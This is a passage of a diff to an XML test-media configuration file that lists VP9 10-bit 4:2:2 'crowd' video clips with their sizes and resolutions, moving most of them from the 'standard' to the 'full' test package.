   <entry key="vp9/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_noFrmPar_sharp6_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=42609,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=42609,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_noFrmPar_sharp7_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=42662,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=42662,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_noFrmPar_skip5frm_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=35663,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=35663,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_noFrmPar_upScale_100_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=42727,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=42727,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_noFrmPar_upScale_10_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=42727,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=42727,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_noFrmPar_upScale_20_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=42727,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=42727,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_noFrmPar_upScale_50_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=42727,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=42727,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_noFrmPar_vbr_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=42727,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=42727,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_frmPar_1x1.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=87344,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=87344,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_frmPar_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=87618,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=87618,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_frmPar_2x1.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=87641,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=87641,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_frmPar_4x1.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=88092,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=88092,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_frmPar_4x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=87618,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=87618,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_frmPar_adaptQCom_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=80531,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=80531,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_frmPar_adaptQVar_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=81074,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=81074,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_frmPar_arnr_0f_0s_2t_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=87170,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=87170,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_frmPar_arnr_0f_5s_1t_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=87499,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=87499,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_frmPar_arnr_0f_5s_2t_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=86784,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=86784,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_frmPar_arnr_15f_0s_2t_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=87238,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=87238,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_frmPar_arnr_15f_5s_2t_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=87685,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=87685,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_frmPar_arnr_5f_0s_2t_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=87499,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=87499,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_frmPar_arnr_5f_5s_2t_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=87499,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=87499,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_frmPar_arnr_5f_5s_3t_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=87499,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=87499,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_frmPar_autAltRef_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=87618,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=87618,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_frmPar_autAltRef_8lag_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=85600,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=85600,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_frmPar_cbr_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=94417,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=94417,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_frmPar_cq0_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=87702,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=87702,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_frmPar_cq10_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=87702,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=87702,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_frmPar_cq16_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=87702,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=87702,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_frmPar_cq32_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=87702,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=87702,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_frmPar_cq4_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=87702,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=87702,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_frmPar_cq63_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=69898,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=69898,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_frmPar_downScale_10_noKey_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=87618,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=87618,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_frmPar_downScale_20_noKey_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=87618,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=87618,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_frmPar_downScale_50_noKey_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=87618,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=87618,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_frmPar_downScale_80_noKey_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=87618,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=87618,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_frmPar_errRes_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=91138,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=91138,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_frmPar_keyFrmOnly_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=399849,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=399849,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_frmPar_lossless_1x2.webm">
     <value>mime=video/x-vnd.on2.vp9,size=17934768,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_frmPar_noKeyFrm_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=87618,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=87618,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_frmPar_nonErrRes_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=87618,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=87618,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_frmPar_Qp0-10_1x2.webm">
     <value>mime=video/x-vnd.on2.vp9,size=3055138,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
@@ -33114,7 +33114,7 @@
     <value>mime=video/x-vnd.on2.vp9,size=17934768,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_frmPar_Qp0-63_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=87618,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=87618,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_frmPar_Qp10-20_1x2.webm">
     <value>mime=video/x-vnd.on2.vp9,size=1606016,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
@@ -33123,163 +33123,163 @@
     <value>mime=video/x-vnd.on2.vp9,size=895872,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_frmPar_Qp30-40_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=429645,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=429645,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_frmPar_Qp32_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=674868,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=674868,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_frmPar_Qp40-50_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=193597,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=193597,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_frmPar_Qp50-63_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=80204,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=80204,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_frmPar_Qp63_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=17388,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=17388,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_frmPar_sharp0_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=87618,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=87618,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_frmPar_sharp1_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=87525,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=87525,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_frmPar_sharp2_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=87362,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=87362,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_frmPar_sharp3_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=87595,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=87595,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_frmPar_sharp4_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=87515,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=87515,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_frmPar_sharp5_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=87465,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=87465,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_frmPar_sharp6_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=87194,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=87194,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_frmPar_sharp7_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=87537,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=87537,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_frmPar_skip5frm_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=74504,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=74504,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_frmPar_upScale_100_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=87618,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=87618,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_frmPar_upScale_10_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=87618,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=87618,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_frmPar_upScale_20_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=87618,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=87618,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_frmPar_upScale_50_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=87618,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=87618,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_frmPar_vbr_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=87618,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=87618,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_noFrmPar_1x1.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=87339,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=87339,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_noFrmPar_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=45925,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=45925,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_noFrmPar_2x1.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=87541,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=87541,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_noFrmPar_2x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=47999,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=47999,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_noFrmPar_4x1.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=88006,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=88006,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_noFrmPar_4x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=87514,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=87514,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_noFrmPar_adaptQCom_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=80789,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=80789,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_noFrmPar_adaptQVar_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=81434,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=81434,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_noFrmPar_arnr_0f_0s_2t_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=87443,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=87443,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_noFrmPar_arnr_0f_5s_1t_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=87745,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=87745,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_noFrmPar_arnr_0f_5s_2t_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=87245,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=87245,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_noFrmPar_arnr_15f_0s_2t_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=87308,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=87308,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_noFrmPar_arnr_15f_5s_2t_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=87495,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
